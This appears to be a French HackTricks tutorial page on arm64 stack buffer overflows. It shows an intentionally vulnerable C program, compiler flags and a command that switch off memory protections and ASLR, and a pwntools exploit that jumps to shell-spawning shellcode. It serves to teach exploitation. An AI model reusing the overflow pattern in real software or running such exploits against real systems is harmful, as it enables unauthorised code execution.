Stack Shellcode - arm64
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Trouvez une introduction à arm64 dans :
Code
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compiler sans pie, canary et nx :
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
Pas d'ASLR & Pas de canari - Débordement de pile
Pour arrêter l'ASLR, exécutez :
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Pour obtenir le décalage du bof, consultez ce lien.
Exploitation :
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
La seule chose "compliquée" à trouver ici serait l'adresse dans la pile à appeler. Dans mon cas, j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite, lors de l'exploitation, cela n'a pas fonctionné (car l'adresse de la pile a légèrement changé).
J'ai ouvert le fichier core
généré (gdb ./bog ./core
) et vérifié la véritable adresse du début du shellcode.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.